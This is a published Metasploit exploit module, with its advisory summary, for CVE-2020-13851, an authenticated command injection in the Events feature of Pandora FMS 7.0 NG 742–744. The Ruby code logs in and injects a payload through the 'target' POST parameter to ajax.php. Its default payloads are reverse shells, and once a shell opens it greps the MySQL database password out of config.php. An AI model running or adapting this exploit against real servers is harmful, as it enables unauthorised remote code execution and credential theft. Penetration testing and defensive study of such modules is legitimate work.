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Pandora FMS 7.0 NG 7XX Remote Command Execution

Pandora FMS 7.0 NG 7XX Remote Command Execution
Posted Jul 11, 2020
Authored by Fernando Catoira, Erik Wynter, Julio Sanchez | Site metasploit.com

This Metasploit module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in th e Events feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the target parameter in HTTP POST requests to the Events function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the target parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple grep command on the plaintext /var/www/html/pandora_console/include/config.php file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version).

tags | exploit, web, arbitrary, shell, local, php
systems | linux, centos
advisories | CVE-2020-13851
SHA-256 | 8c2e13e57553407ba5b46b1cb763ce1bf256fd53ba20f8b4cb5a87d5d92785b0

Pandora FMS 7.0 NG 7XX Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pandora FMS Events Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability (CVE-2020-13851) in Pandora
FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
older versions) in order to execute arbitrary commands.

This module takes advantage of a command injection vulnerability in the
`Events` feature of Pandora FMS. This flaw allows users to execute
arbitrary commands via the `target` parameter in HTTP POST requests to
the `Events` function. After authenticating to the target, the module
attempts to exploit this flaw by issuing such an HTTP POST request,
with the `target` parameter set to contain the payload. If a shell is
obtained, the module will try to obtain the local MySQL database
password via a simple `grep` command on the plaintext
`/var/www/html/pandora_console/include/config.php` file.

Valid credentials for a Pandora FMS account are required. The account
does not need to have admin privileges.
This module has been successfully tested on Pandora 7.0 NG 744 running
on CentOS 7 (the official virtual appliance ISO for this version).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fernando Catoira', # Discovery
'Julio Sanchez', # Discovery
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-13851'], # RCE via the `events` feature
['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-06-04',
'DefaultTarget' => 1
)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])
]
end

def check
vprint_status('Running check')
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php')

unless res
return CheckCode::Unknown('Connection failed.')
end

unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>')
return CheckCode::Safe('Target is not a Pandora FMS application.')
end

@cookie = res.get_cookies
html = res.get_html_document
full_version = html.at('div[@id="ver_num"]')

if full_version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end

full_version = full_version.text

version = full_version[1..-1].sub('NG', '')

if version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end

version = Gem::Version.new version

unless version <= Gem::Version.new('7.0.744')
return CheckCode::Safe("Target is Pandora FMS version #{full_version}.")
end

CheckCode::Appears("Target is Pandora FMS version #{full_version}.")
end

def login(user, pass)
vprint_status "Authenticating as #{user} ..."

res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => @cookie,
'vars_get' => { 'login' => '1' },
'vars_post' => {
'nick' => user,
'pass' => pass,
'login_button' => 'Login'
}
})

unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>')
fail_with Failure::NoAccess, 'Authentication failed'
end

print_good "Authenticated as user #{user}."
end

def on_new_session(client)
super
if target.arch.first == ARCH_CMD
print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.')
client.shell_write("grep dbpass include/config.php\n")
else
print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.')
end
end

def execute_command(cmd, _opts = {})
print_status('Executing payload...')

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'cookie' => @cookie,
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Referer' => full_uri('index.php'),
'vars_get' => {
'sec' => 'eventos',
'sec2' => 'operation/events/events'
},
'vars_post' => {
'page' => 'include/ajax/events',
'perform_event_response' => '10000000',
'target' => cmd.to_s,
'response_id' => '1'
}
}, 0) # the server will not send a response, so the module shouldn't wait for one
end

def exploit
login(datastore['USERNAME'], datastore['PASSWORD'])

if target.arch.first == ARCH_CMD
execute_command payload.encoded
else
execute_cmdstager(background: true)
end
end
end
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